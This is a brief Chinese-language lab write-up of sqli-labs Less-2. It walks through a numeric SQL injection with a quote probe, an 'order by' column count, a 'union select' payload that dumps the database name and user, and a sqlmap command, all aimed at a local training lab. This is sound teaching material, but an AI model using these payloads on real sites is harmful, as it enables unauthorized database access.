Sqli-labs-Less-2![](https://img-blog.csdnimg.cn/direct/97520c8aa60049a3a56682f65a1017dc.png)
前言:
SQL注入的三个条件:
①参数可控;(从参数输入就知道参数可控)
②参数过滤不彻底导致恶意代码被执行;(需要在测试过程中判断)
③参数带入数据库执行。(从网页功能能大致分析出是否与数据库进行交互)
利用 order by 来测列数
测显位:mysql用1,2,3,4
Mysql获取相关数据:
一、数据库版本-看是否认符合information_schema查询-version()
二、数据库用户-看是否符合root型注入攻击-user()
三、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
四、数据库名字-为后期猜解指定数据库下的表,列做准备-database()
#手工注入
1.根据提示id传参,id=1,利用单引号' 测试判断注入参数闭合方式,发现这题是id值不是字符串是int型
http://192.168.0.7:802/sqli-labs/Less-2/?id=1'
2.利用oder by 判断列数 / 联合查询 sql注入
http://192.168.0.7:802/sqli-labs/Less-2/?id=1 order by 4
字段数(列数)为3列;
利用回显位,爆库名、当前用户。 得到数据库名为security,当前用户为:root@localhost。
http://192.168.0.7:802/sqli-labs/Less-2/?id=0 union select 1,database(),user()
成功利用sql漏洞!!!
#自动化注入-SQLmap工具注入
python sqlmap.py -u http://192.168.0.7:802/sqli-labs/Less-2/?id=1 --current-db --current-user
爆库名、当前用户。 得到数据库名为security,当前用户为:root@localhost。